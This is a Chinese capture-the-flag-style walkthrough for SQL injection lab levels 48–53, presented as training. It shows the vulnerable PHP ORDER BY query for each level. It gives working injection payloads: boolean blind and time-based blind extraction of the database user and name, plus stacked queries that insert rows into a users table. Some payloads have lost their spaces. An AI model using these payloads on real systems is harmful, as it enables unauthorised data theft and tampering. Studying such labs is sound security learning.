WEB常见漏洞之SQL注入(靶场篇—3)4

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: WEB常见漏洞之SQL注入(靶场篇—3)

Lesson-48

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

iftrue:

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson46的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用布尔盲注判断注入点

sort=1--+

查询长度

sort=rand(length(user())>13)--+ //返回正常界面

sort=rand(length(user())>14)--+ //返回不同界面

640.png

两次结果不同,由此判断长度为 14

查询字符

sort=rand(substr(user(),1,1)='r')--+ //返回正常界面

sort=rand(left(user(),1)='r')--+ //left()函数

sort=rand(ascii(substr(user(),1,1))=114)--+ //ASCII码

sort=rand(substr(user(),1,1)='s')--+ //返回不同界面

确定用户名为root@localhost

sort=rand(substr(user(),1,14)='root@localhost')--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=rand(substr((selectdatabase()),1,14)='security')--+

Lesson-49

该题为单引号型get型注入,利用方式包括时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

iftrue:

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson48的利用方式相同,只不过拼接方式由数字变成了单引号

使用时间盲注判断注入点

sort=1'--+

查询长度

sort=1' and if(length(user())>1,sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(length(user())>20,sleep(0.1),0)--+ //快速返回界面

确认长度为14位

sort=1' and if(length(user())=14,sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

查询字符

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(left(user(),1)='r',sleep(0.1),0)--+ //left()函数

sort=1' and if(ascii(substr(user(),1,1))=114,sleep(0.1),0)--+ //ASCII码

640.png

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上

640.png

确定用户名为root@localhost

sort=1' and if(substr(user(),1,14)='root@localhost',sleep(0.1),0)--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=1' and if(substr(database(),1,14)='security',sleep(0.1),0)--+

Lesson-50

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysqli_error($con1));

注意:该题与Lesson46的利用方式相同,只不过查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠查询

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insertinto users(username,password)values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-51

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

640.png

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysqli_error($con1));

注意:该题与Lesson50的利用方式相同,只不过拼接方式由数字换成了单引号

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-52

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insertinto users(username,password)values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-53

该题为单引号get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

0x02 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了38-53关高级注入的通关教程。

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
191 1
|
2月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
65 2
|
3月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
4月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
222 8
|
4月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
182 3
|
4月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
147 5
|
4月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
106 3
|
4月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
138 1
|
3月前
|
SQL 运维 安全
怎样可以找到SQL漏洞:技巧与方法详解
SQL漏洞,特别是SQL注入漏洞,是Web应用中常见的安全威胁之一
|
4月前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")